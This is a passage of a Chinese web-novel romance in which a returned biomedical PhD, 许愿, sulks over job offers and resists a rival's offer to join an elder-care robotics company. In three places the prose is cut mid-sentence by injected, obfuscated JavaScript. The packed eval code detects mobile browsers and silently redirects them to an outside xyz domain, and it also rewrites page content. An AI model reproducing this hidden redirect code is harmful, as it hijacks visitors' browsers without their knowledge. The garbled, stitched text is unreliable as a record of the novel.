至于敌意的来源……迟了了估摸着，是因为自己对他阳奉阴违了。 这么说来，周默还是为自己受过的。 想到这点，她愧疚心起，接过菜单的同时给了周默一个真诚的笑：“嘿嘿，那就好那就好！” 这笑软软的，让周默的手心忍不住有些痒痒，想探过去揉一揉。 然而目光瞥向一旁两只眼睛几乎喷火的许愿…… 算了，还是适可而止，别刺激这娃了。 而许愿恶狠狠地瞪着周默，心里则在咬牙切齿地咒骂： 呸，绿茶！妥妥的绿茶！ 一边装作不经意说破合租公约的事，一边在迟三三面前装好人，不是绿茶是什么？ 心！机！男！ …… 有了饭前这一轮过招，随后的整个点菜过程中，许愿算是跟周默杠上了。 周默点辣菜，他嫌口味重，易上火；周默点青菜，他嫌太清淡，跟嚼树叶没两样；周默点汤，他嫌太小气，难道自己不配吃个实打实的硬菜…… 如此这般，折腾到最后连迟了了都看不过去了：“你闭嘴吧，有的吃就行了！” 还不知道这顿饭将由迟了了买单的许愿兀自洋洋得意，挑衅地看着周默。 周默好脾气地笑笑，转而向迟了了进言：“也是我疏忽了，既然是给他接风，那理所当然，应该他来点餐的。” 迟了了被他这一提醒，也转过弯来，立刻将手机往许愿怀里一丢：“就是啊，你自己来，想吃什么随便点！” 许愿：“？” 他猝不及防，抱着手机呆呆地看着两人，一脸懵逼。 不是，怎么……就这么撂挑子了？他还没作够呢！ 迟了了眼神却已经不在他身上了，因为周默用自己的手机也进入了点单界面，此时两人隔了张桌子正探头凑在一起，选着自己想吃的菜…… 许愿看着这一幕，简直欲哭无泪。 更让他悲愤的是，他发现周默这家伙竟然已经知道迟三三有哪些忌口和喜好了！ 而等点完菜，听到迟了了特意叮嘱服务员，不要用玉米油炒菜，因为周默过敏，他整个人更火大了！ 啊——！ - 等点的菜一一上齐，历经波折的三人终于吃上了这顿“接风宴”。 既然是接风宴，那自然要讲两句的。 迟了了对于这类讲究仪式感的事情向来热衷，二话不说便给三人分别倒了杯茶。 “来来来，以茶代酒，让我们热烈欢迎许愿同学迷途知返，回到伟大祖国母亲的怀抱！” 许愿不情不愿地举起杯子：“什么叫‘迷途知返’啊，我那原本是要在科学的道路上一往无前好吧？” “哎呀，”迟了了将自己的杯子往他杯子上一撞，“回国也能一往无前呀。” 许愿吭吭唧唧，不再说话。 迟了了笑嘻嘻，刚要收回手，就见周默也正把着自己的水杯，于是手腕在半空中拐了个弯，又跟他碰了下杯。 周默一怔，抬眸对上她笑得狡黠的眼睛。 迟了了又冲他眨眨眼。 周默却已经懂了她的意思，勾唇笑笑，举杯抿了一口。 “对了，你工作找到了吗？”仪式走过，正式开吃，迟了了吃到一半想到这事，便问。 许愿刚从周默筷子底下抢过一块牛肉填进嘴里，此时正挑衅地看着他，闻言立刻收回目光，满不在乎地摇头： “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818888|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木呢，这不胡来得急嘛！”（没呢，这不回来得急嘛！） “那你有方向了吗？” 许愿将肉咽下去，点点头：“嗯，我准备看看相关的研究所，还有医药公司之类的。” “哦，那也行，”迟了了说，可转而又皱起眉头，“可我听说现在就业形势很不好，工作超级难找的，你不会……找不到工作吧？” 这话说得，许愿白了她一眼：“我说你能盼哥点好吗？我许愿是谁，堂堂荔大医学院本硕连读，还是JHU博士，全球专业TOP的学校！会找不到工作？只有被我拒offer的份儿，有别人拒我的份儿吗？” 话虽然这么说，迟了了也确实这么觉得，但她还是忍不住打击他的习惯，狡黠一笑：“那，可不一定哦~” 许愿“切”了一声。 这时，一直默默听着两人聊天斗嘴的周默突然开口了：“你学的什么专业？” 许愿斜他一眼：“关你什么——” 可话还没说完，便被迟了了截胡了。 “生物医学工程。”她说。 周默神色一怔，原本漫不经心的表情慢慢严肃起来：“你学的这个？” 许愿没好气：“怎么了，不行啊！” 周默没在意他的语气，又问：“那你对生物医学工程和人工智能结合，有什么看法？” 许愿闻言冷呵一声，不屑地白了他一眼：“什么什么看法，人工智能康复辅助就是我之前的研究课题好吧？” 周默眼睛顿时一亮，简直是意外之喜。 他转眸看了迟了了一眼，迟了了不明所以，眨着一双大眼在两人间看过来又看过去。 周默笑了，对许愿说：“如果你想找工作的话，我手头正好有个机会。” “什么机会？”迟了了立刻激动地问。 许愿也狐疑又警惕地看着他，不明白他是不是要伺机报复自己。 “我和朋友的公司正好缺一个相关方面的——” “免谈。” 不等他说完，许愿便抬手表示拒绝。 笑话，他堂堂一介房东要给租客交房租已经够跌份儿了，现在这家伙竟然还想让自己给他打工？！ 想得美他！ “你先听他说完呀，”迟了了一把将他的手按下来，“周默他们公司在研发养老机器人，高新科技呢！” “什么养老机器人，”许愿不屑，“听着就像个骗子公司。” 这话说得有点过分了，没等周默说什么，迟了了便将脸一沉：“许愿！” 许愿一噎，气焰顿时萎了下去，半晌，他瘪瘪嘴，将头一埋，只管吃菜。 周默对上迟了了抱歉的目光，摇了摇头。 然后，他又看向许愿。 一说起工作上的事，他身上又透出那股从容不迫、运筹帷幄的气场，此时对着斗气的许愿，不紧不慢道：“我们公司叫精卫科技，你有兴趣的话，可以去网上了解一下。” 许愿头也不抬：“没兴趣。” 迟了了气得也不劝了，直接抬起脚，用力一踩，然后一碾！ “嘶——”许愿瞬间一个激灵差点跳起来！ 嘭地一下直起身，他怒目瞪眼看着面前两人！ 苍天在上，这到底还是不是他的接风宴了？谁家接风宴这么对待主角，啊？！ 61. 性别限制 因为在餐桌上受到了“不公正待遇”，回去路上许愿憋了一肚子气，谁也不理，自己一个人昂首阔步地走在最前面。 看起来，像只高冷孤傲、目下无尘的火烈鸟。 迟了了和周默也不追，就这么隔了好几米的距离在后面慢悠悠地跟着。 走着走着，迟了了扭头看了眼旁边的男人，眼珠子一转，试探着问道：“周默，我有个问题想问问你。” “什么？”周默一手抄兜，垂眸看向她。 “你交朋友，是不是对性别有什么要求？” “嗯？”周默脚步一顿，“什么意思？” 迟了了叹了口气，说：“想当初你刚搬过来的时候，可都不乐意搭理我，甚至坐电梯都避着我，但现在，你看你对许愿多有耐心！” 说到最后，她声音里甚至带上了一丝委屈和埋怨。 “……”这种对比方法，让周默顿感无语。 可看着她因撇起嘴巴，又不由得心虚。 “……你，不喜欢我这样吗？”顿了顿，他反问。 迟了了一怔，刚刚刻意装出来的委屈立马破功，她赶紧摇着头：“当然不是，这样很好！” 见她不是真的难过，周默松了口气，听到这话，又觉得好笑。 迟了了喜欢看他笑，赏心悦目的，于是也笑了起来。 这时，走在前面的许愿终于反应过来——自己生气一个人走，不正好给那家伙创造了跟迟三三单独相处的机会吗？！ 于是赶紧回头去看。 这一看，他后悔极了。 那人竟然在跟迟三三说悄悄话，两个人还有说有笑的，真是岂有此理！ “迟三三，”他立刻出声打断两人，“快点！” 说完又等不及，干脆自己折回去，一把捞起迟了了的胳膊，拉着她往前走。 “哎哎，”迟了了喊不停他，走了几步又回头笑嘻嘻地冲周默招招手，“周默快点！” 看着这一幕，周默唇角的笑意愈发忍不住了。 “好。”他柔声应道，迈着大步跟了上去。 - 这天的最后，迟了了用一颗糖果哄好了气呼呼的许愿。然而让三人都没想到的是，接风宴上她为了打压许愿气焰说出的话，竟然一语成谶—— 许愿找工作的计划，确实进行得不大顺利。 “他们把工资压得也太低了，一个月竟然只给我开20k？！简直侮辱人！” 车上，许愿坐在副驾，把座椅调到最低最靠后的位置，一边曲着身子，一边挥舞着一只手，宣泄着心中的不满。 说着，他话头一转：“你这小车也太憋屈了！” “那你回家开你的呀。”迟了了瞥了他一眼，继续开车。 许愿被她堵得无话可说。 之前他在国内上学的时候，许爸给他买了辆沃尔沃，专门用来接送迟了了。可他出国时，因为迟了了不喜欢开大车，自己买了辆宝宝巴士代步，沃尔沃便被他开回家里去了，平时都是许爸许妈没事开开。 这一次他是偷摸着回来的，自然不能回家把车开回来，所以出门只能蹭迟了了的了。 有不服，也得憋着。 他撇撇嘴，绕过这个话题。 “我堂堂JHU王牌专业博士，他们把我当廉价劳动力！” “那昨天这两家呢？不说都是业内TOP的公司，你也看不上？” “昨天上午那家的面试官我不喜欢，说话阴阳怪气的，好像谁欠他似的。而且你知道吗？”许愿转过头，看着迟了了，“他竟然还问我为什么不在国外拿绿卡，回国干嘛？是不是没找到好机会？ “呵，这意思不就是觉得我在国外混不下去了才回来的吗？真可笑，老子回国需要经过他同意？他算哪根葱！ “下午那家，领导是个Gay，从进门就盯着我看，恶心死我了！” 哇哦~ 迟了了嘴巴张成了个O形，一脸没见过世面的样子，下一秒便收到许愿一记眼刀。 咳，她赶紧阖上嘴巴，嘻嘻一笑：“谁让你长得帅呢！” “哼。” “还有呢？那什么，你之前不还说有个研究所在联系呢？” 许愿啧了一声：“研究所其他倒还好，工资虽然不高，但我也有心理准备，只是有一点——” “什么？” “……他们让我，把头发染回来。” 嗯？ 迟了了一愣，目光瞥向他的头顶。 说起来，她都快忘了许愿原本的发色是什么样了，自从高中毕业，不用再被学校管束发型之后，他好像就在染发的道路上撒丫子狂奔，一去不复回了，赤橙黄绿青蓝紫，还有什么白色、金色、雾霾蓝、奶奶灰……他几乎都染过。 不过说实在的，就他这张花美男的脸，还真的什么发色都能扛住，再加上学习好、人缘好，五颜六色的头发非但没让人觉得他叛逆，反而给他增添了不少人格魅力，走到哪儿都是众人瞩目的焦点。 这样的许愿，突然被要求染回原来的发色…… 迟了了觉得，悬。 “还有一家公司，算是综合条件最好了，但是强度比较大，经常要加班，听说之前还有过猝死的。” “啊？！”迟了了一惊，赶紧摇头，“不行不行，这可不行！命还是要紧的！” “我当然知道，”许愿颓丧地一仰头，整个人像是躺在了座椅上，“所以呀，现在就是这么个情况，我想着，实在不行，就只能牺牲我的头发了……” “啊……” 迟了了听着都替他觉得可怜，再次感叹上班真不是人干的事儿，前有闯闯在游戏公司里被无良领导甩锅排挤，后有小樱桃每天高强度工作，还受夹板气，如今这个更甚，还在面试阶段就这么多事…… “要不，你先别急着定下来，再看看？”迟了了建议，“实在不行，门槛别卡太死，不是大厂也可以试试嘛。” “不是大厂，哪来的研发经费呀，到时候项目做一半，砍了，我哭都没地儿哭去。”许愿说。 迟了了抿起唇，不知道说什么好。 她不太懂他们这行，也给他出不了什么主意，只能拍拍他的脑袋，以示安慰了。 许愿却一蒙，下一秒一个摇头甩开她的手：“去，拍小狗呢？好好开车！” 迟了了嘿嘿笑着，收回手，继续开车。 …… 又过了一会儿，粉色宝宝巴士来到一座带院的小别墅前。 两人从车上下来，许愿正伸展着被小车拘束得腰酸背疼的身体，便见门内走来一个人。 “苏姐姐。”迟了了立刻笑着朝来人招手叫道。 女人走过来，看到一头红发的许愿不期然一怔，随即认了出来，温柔笑道：“许愿回来了？” 许愿连忙立正站好，地朝女人问候：“苏医生好。” 女人给他们推开门：“进来吧，没想到这次你跟过来了，好久没见了。” 连在亲爸亲妈面前都没那么乖的许愿，对着苏医生倒是乖乖收起了所有的刺毛，有些不自然地挠挠头：“嗯，有四年了。” 女人笑笑，领着两人往里走：“之前听三三说，你毕业后参与了个研究项目，现在这是？” “哦，不做了，回国了。”许愿说。 “以后就在国内发展了？” “嗯，应该就在国内了，除非迟三三出国。” 迟了了一听，不乐意了：“你想出就出，别把锅甩我身上呀！” 被她这么拆台，许愿“啧”了一声，抬手弹了下她脑壳。 “呜——”迟了了连忙捂住头，以牙还牙地抬脚踹他。 两人一路你来我往，女人走在前面，只是温柔地笑着，也不出声劝架。 很快，三人来到客厅。 “你先在这等一会儿，”女人对许愿说，“想喝什么玩什么，随意就好。” 许愿点点头：“好。” 女人又回身招呼迟了了：“走吧。” 迟了了立刻乖巧应了声：“好！” 可走了两步，她又回头看向许愿，见他已经转过身去，立马脸上一喜，快步跑到他身后，猛地抬腿踹了下他的屁股，然后不等他反应，又调头小跑着往女人追过去。 “哎哟！迟三三！——” 许愿踉跄两步稳住身子，捂着屁股就朝她大吼一声。 迟了了回头朝他做了个鬼脸，转身就进了房间。 …… 半小时后，两人才从屋里出来。 许愿正端着手机坐在沙发上打游戏，一听见开门声，立马放下手机站了起来。 “有些特殊情况下的紧张属于正常反应，毕竟还有‘一朝被蛇咬，十年怕井绳’这回事呢，不用过于担心。”女人一边走，一边跟迟了了交代。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818889|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 迟了了跟在她身旁，乖巧地应着：“好。” 许愿听到这话，表情却紧张起来：“怎么了？” “没事！”迟了了立刻说，“苏姐姐都说没事了。” 女人笑了下，抬手看了眼腕间的手表：“那，我就不多留了，你们路上小心。” “好呀，苏姐姐拜拜！”迟了了连忙拽着许愿就往外走，一边朝后面摆手。 等坐回车上，再次跟送出来的女人挥手作别，然后起步离开，许愿还是不放心，又问了一遍：“到底怎么了？” “哎呀真没事！就是之前有次坐车晃了一下。”迟了了说。 许愿心下一紧：“晃了一下？什么情况，碰到了吗？怎么没跟我说呀。” “真没事！”迟了了又重复了一遍，“就是……嗯，碰到个加塞的，躲过去了。”她只能随便编了个场景搪塞他。 好在许愿信了，这才没再追问，只骂了一句：“这些不遵守交规了，就该狠狠地罚！” 可过了几秒，他又突然觉得有些不对：“哎不是，你刚刚说坐——” “哎对了！”迟了了一听，赶紧开口打断他，“你要实在找不到合适的工作，要不考虑考虑周默他们公司呗？” 许愿被她这么一打岔，一下子有点懵。 等反应过来，立马摇头拒绝：“不要！” 迟了了倒松了口气，嘿嘿一笑，说：“我查过了，他们公司规模虽然好像还是不会很大，但在他们领域里似乎还挺有名气的。” 而且按照她对祝赫和周默的了解，开工资应该不会太小气。 更重要的是，起码不会要求许愿把头发染回去吧。 可许愿却将头往外一撇，看着窗外，当做听不到。 - 与此同时，精卫科技里，刚刚结束了一轮会议的周默和祝赫正在会议室里发着愁。 “不行，照现在的情况来看，我们必须有个专业医学出身的人了，还得有个跨学科的人来负责人机交互系统。”祝赫严肃地说道，“这事不能再拖了。” 周默半坐在会议桌旁，双手反撑在身体两侧，目光看着落地窗外的景色，久久不语。 过了会儿，他开口道：“其实，我这边有个人选。” “什么人？”祝赫忙问。 “JHU毕业的生物医学工程博士。我查过他的学术成绩，还不错，之前差点留任他导师的研究项目读博后，不过现在回国了，而且研究课题正好是人工智能相关。” 祝赫一听顿时来了兴致：“这么巧，正好对口啊！还真是渴了送水困了送枕头，有空约来见见呗！” 可周默却迟疑了起来，摇摇头：“我只能试试……对方现在对我敌意有点大。” “敌意？” 祝赫更加好奇了，惊讶地笑问：“这何方神圣啊，对你有敌意？你怎么着他了？” 说起这个，周默也有些无语，抬手揉了揉额角，含混道：“我房东。” 祝赫没听清：“什么？” 周默又重复了一遍。 祝赫愣了：“你房东？那大叔？” JHU毕业？ 生物医学工程？博士？ 大叔儿子都那么大了，还这么有上进心啊！ “不是！”周默简直佩服他的脑回路，“是他儿子。” 祝赫又一愣，回想起来：“哦——小知了那青梅竹马？他回来了？！” 周默：“……嗯。” 作为一个情商与智商兼具的聪明人，祝赫稍一思索，就懂了他刚刚说的“敌意有点大”是什么意思了。 一个是竹马，一个是天降，更别说某人现在对小知了确实心怀不轨，人家要没点敌意，他都要怀疑这人到底是不是个称职的“竹马”了。 这么一想，说不准这人就是为了防着周默，才放弃国外的大好前程回国的！ 不过…… 再看眼前周默眉头紧皱的样子，刚还在发愁的祝赫突然不愁了。 人是他看中的，那自然差不了。 而同样的，人也是他得罪的，自然该是他去哄着请过来。 这么一想，祝赫欣喜地发现眼下这个大难题就这么当仁不让地被周默给扛下了，而自己则无事一身轻！ 他立时忍不住，哈哈直笑起来。 周默看着他幸灾乐祸的样子，翻了个白眼，又烦躁地拽了拽衬衫领口。 62. 欲盖弥彰 又是无所事事的一天，无业游民许愿继续在沙发里躺尸。 他打开电视，百无聊赖地将节目单从上拉到下，又从下拉到上，可却始终没找到一个感兴趣的节目来看，于是他索性翻出很久以前买的游戏机，连在电视上打起游戏来。 经典款的闯关游戏，他之前是抱着“怀旧”的念头买的，可今天或许是心浮气躁的原因，只觉得这游戏也变得幼稚且老套起来。 眼看着窗外太阳一点点西斜，他又关掉电视，起身打着赤脚，在铺着地暖的屋里漫无目的地游荡。 红色的头发、漂亮的五官、赤裸的双足、懒散的气场，整个人仿佛是个黑白动画里惊鸿一瞥的游魂。 “游魂”游荡到阳台，伸了伸懒腰，又游荡到洗手间，对着镜子理了理头发；再游荡到厨房，从冰箱里摸了个苹果，咔嚓咔嚓地啃起来，然后继续游荡着…… 突然在书房里的书架前停了下来。 不高不低刚好在他眼前的那层书架上，随意叠放着几本资料，摆着最上面的，是个漂亮的小册子—— 纯黑色的哑光封面、纤细而富有动感的镀银线条，看起来像是黑暗无垠的宇宙中乍现的一道微光，充满科幻感的神秘色彩。 银线的一端上下起伏，又像是一道流动的金属血液勾画出心电图的走势，另一端，银线渐渐变细变浅，直至最后消失在黑色背景中。 而离它最后消失的地方不远处，则若隐若现地透出银色机械体的一角。 这个画面瞬间吸引了许愿，他伸手取下册子，翻开—— 啪！ 可刚翻开，下一秒他又立刻阖上，并如烫手山芋般将它扔得远远的！ “陷阱！” 他警惕地瞪着地上的小册子，如临大敌。 而此时，因为他的动作，册子也翻了个面，另一侧封面上经过特殊设计的字体暴露了出来—— 精卫科技PHOENIX 隔着几步远的距离，许愿与它两相对峙。 一边，是刚刚看到的银色机械体弧光仍回闪在他眼前，向他发出诱惑的邀请。 另一边，对周默和他那公司的排斥，则让他极力保持着清醒，面对眼前这份诱惑努力克制着内心的蠢蠢欲动。 几秒后，他一狠心，扭头走了。 只剩下黑色的小册子静静躺在地上，处变不惊地“望”着天花板。 而几分钟后，随着一串噼里啪啦的脚步声，一只手伸了过来，却又似是十分嫌弃地，只用两根手指将它从地面上捏起来。 “看就看，我还怕了你了？”许愿不屑地嘟囔着。 …… 晚上九点多，周默下班到家。 一推开门，他就看到顶着红脑袋的许愿正盘腿坐在沙发里，上半身挺得笔直，乍一看还以为是在打坐。 可等换了鞋进去，准备先去书房放东西的周默走近沙发时，才发现他腿上还放着一台笔记本电脑——而令人奇怪的是，亮着的电脑屏幕上除了一张雪景无垠的壁纸外，别无他物。 “你看什么呢？”周默随口问了句。 “没看什么呀！”许愿立马扬声回答。 周默脚步一顿，更加诧异地看过去。 奇怪，按这人以往对自己的态度，不是应该答非所问地回怼一句“关你什么事”才对？ 怎么这次竟然回答了自己，反应还有点大？ 他思忖着来到书桌前，一边将手提包放下，一边再次看向许愿端正得仿佛一尊石像的背影。 嗯……这人一定不知道，有个词语叫“欲盖弥彰”吧。 想到什么，周默转头环顾整个房子——嗯，还好，出去一天，除了客厅垃圾桶里堆了不少零食袋，还有一些地方的东西稍微乱了点外，家并没有被拆。 随后，他又看向身后的书架。 这一看，周默目光一滞…… 下一秒，他若无其事地敛回视线，微垂的眼眸里，有丝笑意一闪而过。 “我先去洗漱了。” 周默没说什么，只朝许愿丢了这么句话，便径直越过沙发，往主卧走去。 这回许愿没有应声，依旧正襟危坐着，只是一双眼睛却紧紧跟着周默的背影，看他来到自己身侧、走过沙发、走过客厅……直到主卧传来关门声。 又一动不动地等了几秒，他才歪了歪身子，小心翼翼从电脑后探出脑袋，看了眼主卧的方向，确定周默真的进屋了，才彻底松了口气。 下一秒，他手指在触控板上一划，干净冷清的屏幕上瞬间又层层叠叠堆满了窗口。 有浏览器、有文件、有视频、有图片…… 而最前面的一个，则是某国际前沿科技杂志上的一篇采访报道。 报道是全英的，密密麻麻的文字旁还附着一张受访人的照片。 照片上，长着标致东方面孔的黑发男人穿着简单的白衬衫，鼻梁上架着副眼镜，正独自站在窗前，望着窗外出神。 这人不是别人，正是周默。 猛然间，许愿一个激灵惊醒过来，再看眼前的电脑，像是突然反应过来自己在干什么似的，一下将电脑重重阖上！ 然后，仿佛什么都没有发生一样，他一脸若无其事地看向对面墙上的挂钟。 而紧接着，他又再次呆住—— 什么！ 竟然快十点了！ 一下午加一晚上，怎么这么快就过去了？ 他明明只是看了眼那个小黑册子，又逛了逛那家叫“精卫”的公司的官网，又看了点关于他们公司的报道、研发专利的记录、网友们的产品分享、创始人的资料，还有新晋合伙人的资料……而已！ 怎么一转眼就快十点了？！ 不对—— 许愿转念一想，又觉得这也不能怪他，毕竟，有几个男生能拒绝炫酷的机械智能的魅力呢？ 而且他只是受好奇心驱使，这是他大脑求知欲的本能表现，是身为一个学霸最基本的自我修养！ 绝不是被什么东西吸引了！ 不是！ 这么想着，许愿渐渐平静下来，浑身也松弛了不少。 然而下一秒他又想到一个东西——那个小册子！ 他下午看完之后随手就扔一边去了，刚刚那家伙应该没发现吧？！ 他赶紧起身翻找起来。 好在最后，他终于在沙发缝隙里成功扒拉出已经折了皮的小册子。 许愿赶紧用手抚压着那道折痕，却始终见效甚微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818890|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不管了！” 眼见实在挽救不过来，他索性将册子直接放回书架。 为了防止被周默看出什么，他还特意将册子按照自己看到时正面朝下的样子，重新反扣在那摞资料上。 好在被折皱的封皮是正面，这样一放正好被压住。 做完这些，他满意地拍拍手。 “哼，也没什么了不起的嘛，我才不稀罕去。”他说着，冷笑一声，将头一甩，转身去厨房觅食去了。 - 很快到了圣诞节。 因为恰好是工作日，周默要上班，而许愿在国外几年早过腻了这节日，于是迟了了只能去找闯闯玩。 圣诞这种节日，一向是商家的重要营销节点。虽然“或者”只是一家小小的独立咖啡馆，但大老板闯闯为了这一天，还是下足了功夫，不仅在店门口支了棵迷你圣诞树，还特别推出了应景的榛子肉桂口味咖啡，和可爱的姜饼人、拐杖、圣诞老人等造型的饼干，还画了好几个版本的圣诞贺卡，提前半个月就开始做活动。 因为毗邻CBD，到了圣诞这天，店内订单更是爆满，三人忙得晕头转向，连水都来不及喝上一口。 终于等到午饭前，过了第一波高峰期，三人才得空坐下来休息。 “要不你让许愿来店里帮忙吧。”闯闯垂着酸痛的后腰，看了下今天上午的营业额，突发奇想，“反正他也没找到工作，闲着也是闲着，不如好好利用他那张脸，来店里当个门面也行。” “诶？我赞成我赞成！”正擦桌子的阿葱一听，忙不迭附和。 她早就听说二老板有个英俊帅气的发小，从小到大一路蝉联“校草”之名，可惜这几年一直在国外，很少回来，即便回来也没到店里来过，所以她从入职到现在，还没见到过一次呢，天知道她有多好奇！ 甚至要说她之所以愿意在这家店一直干下去，除了两个老板人都不错外，等着见这位帅哥，也是一大原因！ 正把玩着从圣诞树上摘下来的一颗星星装饰的迟了了闻言“啊”了一声：“可他不会做咖啡呀？” “没关系呀，”闯闯说，“我又不指望他来做咖啡，颜值经济，懂不懂？” “……”迟了了似懂非懂。 许愿那家伙的脸，真这么顶用？ 阿葱却立刻从中得到了启发，两手一拍：“对呀！到时候我可以拍个视频发到咱们官号上去，许大帅哥就成了咱店里的活招牌了！” 最近，咖啡店在某社交平台上注册了账号，阿葱除了做服务员外，便又多了项新任务——每天拍点照片、写点文案，发到账号上去。 当然，这项工作，闯闯是给她另算了工资的。所以小丫头每天干劲十足，一有空就想选题。 闯闯给了她一个赞许的眼神，又说：“不过他要是真闲不住，也可以接下服务员的工作，不求他会做咖啡，帮忙点个单、出个餐、收拾收拾桌子什么的，也行，这样阿葱就能腾出手来帮我了。” 迟了了一听，恍然大悟：“对哦！” “至于工资——” “这个我跟他谈，争取让他无偿劳动！”迟了了兴高采烈地说。 闯闯默契地抬手跟她击了个掌：“我也正有此意！” 63. 打个赌吧 因为闯闯先一步答应了爸妈一起吃晚饭，下午咖啡店关门后，迟了了便拎着剩下的小饼干直接回了家。 来到801，提前知道她要回来的周默已经做好晚饭等着。 饭桌上，迟了了将带来的小饼干摆盘装碟，尽数推到周默跟前。 “哒哒，借花献佛，就当是送你的圣诞礼物啦，节日快乐！” 周默看着眼前可爱的小饼干，微微一笑：“谢谢，圣诞快乐！” 一旁许愿看不下去了：“我的呢？” “你什么？”迟了了不解地反问。 “我的圣诞礼物呀！” “你都没给我礼物，我为什么要给你呀！” “可，”许愿有点懵，“他也没给你礼物啊！” 迟了了眨眨眼：“周默给我做晚饭了呀！” 许愿无语，看着面前跟平时相比“勉强还算丰盛”的一桌饭菜：“……这算，礼物？？？” “对呀，”迟了了点点头，随即想起什么，“你也该给周默回赠礼物的哦！” 许愿：“……我？” 他“啪”地将筷子一放，双手一抱下巴一扬：“没有！” 迟了了立刻嫌弃地“啧”了一声：“许愿你出国几年，这素质肉眼可见地倒退啊！” “我——” 眼见两人你来我往又要斗个没完了，周默适时开口劝道：“算了，先吃饭吧，再不吃要凉了。” 两个小学鸡又互瞪一眼，这才算消停。 …… 饭吃到一半，迟了了想起咖啡馆里闯闯的提议，眼睛再次咕溜溜转起来。 “喂。”她从桌子底下踢了踢许愿的脚。 “干嘛？”许愿不耐烦应道。 “你找工作还没进展？” 许愿没想到她竟然当着外人的面问这个问题，立刻飞快地瞟了周默一眼，压低声音说：“昨天不刚跟你说过，你怎么比我还急！” “我这不是怕你一直游手好闲，懒废了吗？”迟了了反驳道，“而且万一哪天被二爸发现你偷跑回来了，你说你要有个工作干还说得过去，要是还没找到，他肯定揍你！” 许愿闻言冷笑一声：“我怕他？” “哦——不怕呀？”迟了了慢悠悠地掏出手机，作势要打电话。 许愿赶紧拦住她：“行行行，我投降，我怕，行了吗？” 迟了了这才得意地放下手机：“说真的，我这里有份工作，你要不要做？” 许愿往嘴里填了块肉，狐疑地看着她：“你能有什么工作？” “就我跟闯闯那咖啡店啊，缺个人，你要不要去？” 许愿的反应跟她初听到闯闯提议时几乎一模一样：“我去干吗？我又不会做咖啡！” “不用你做咖啡，你就去帮忙招待招待客人！”迟了了安抚他，拿出绝招，“你看你这颜值！这么高大帅气、风流倜傥，去了那边肯定特别受欢迎！” 嘻嘻，到时候店里的生意肯定更上一层楼！迟了了暗想。 许愿一向最吃别人夸自己这套，一下子就被她这番话捧得有些飘飘然。 可正要答应，突然又反应过来：“不是，你是想哄我去出卖色相啊？！” 迟了了满脸不认同：“帮忙的事，怎么能叫出卖呢？” 然而许愿还是抱起手臂，用一脸高冷表示自己“富贵不能淫，威武不能屈”。 迟了了嘟着嘴，目露威胁地看着他。 关键时刻，还是周默将刚剥好的虾放在她面前，转移了她的注意力。 “哇，谢谢！”迟了了顿时顾不上许愿了，夹起来就填进嘴里，“好吃！” 许愿见状又不依了，端起自己的盘子也递过去：“我也要。” 周默正微笑的脸上蓦地一顿，看傻子似的看着他。 “你好意思吗？”刚被拒绝的迟了了趁机怼他，“周默邀请你去他们公司你都不去，还让人家给你剥虾？” “那他怎么给你剥？”许愿反问。 “我们是朋友啊，我跟闯闯和小樱桃吃饭，她们也会帮我剥虾呢，你是周默的谁？”她说着，示意了眼身后大门上贴着的《合租公约》，一字一顿道，“合租室友而已，请保持边界感哦~” 许愿被她堵得瞪大眼，半晌呵地一笑：“你还懂边界感了？” “哼哼，士别三日当刮目相看！” 这时，一旁周默倒像是没脾气似的，当真剥了只虾放进了许愿的盘子里，又说：“没关系，找工作不用着急，毕竟他们这专业，最好能沉下心长久地干下去，对于工作，当然还是得精挑细选。” 虽然不喜欢周默，但不得不承认，这话简直说到许愿心坎里去了。 他傲娇地轻哼一声，收回盘子吃起虾来。 迟了了却叹了口气：“你看看人家，多通情达理！” 这话说得许愿一噎，到嘴的虾顿时都不香了。 他从盘子上缓缓抬眼看向对面，正对上周默微微含笑的目光。 那笑不及眼底，甚至还带着丝挑衅。 摔！ 刹那间，许愿反应过来：自己又被这绿茶男给阴了！可恶！ 气呼呼地把虾咽下去，他不想再看周默一眼，转头问迟了了：“我发现你最近怎么这么闲？你稿子画完了吗？” 任谁被说自己“闲”恐怕都不会乐意，迟了了瞪了他一眼：“没画完呀，但是新本子的题材我容易不舒服，所以我想画就画，不想画就休息。” 这还是从没在她身上发生过的情况，原本只是随口一问的许愿紧张起来：“什么题材你不舒服？” 这事本来也没什么好瞒他的，毕竟之前闹去派出所那事儿，他也知道，迟了了便跟他一一都说了。 许愿听完，想了一会儿说：“不行就算了吧，画得不舒服就不画了呗，何必为难自己。”在他看来，那些意义使命之类的东西都是其次，迟三三开心才最重要。 迟了了却立刻摇头，坚定地说：“不要，我要画完！” 周默也说：“我赞成让她画完，有自己的职业追求是件好事，不能因为一点挫折就放弃。” 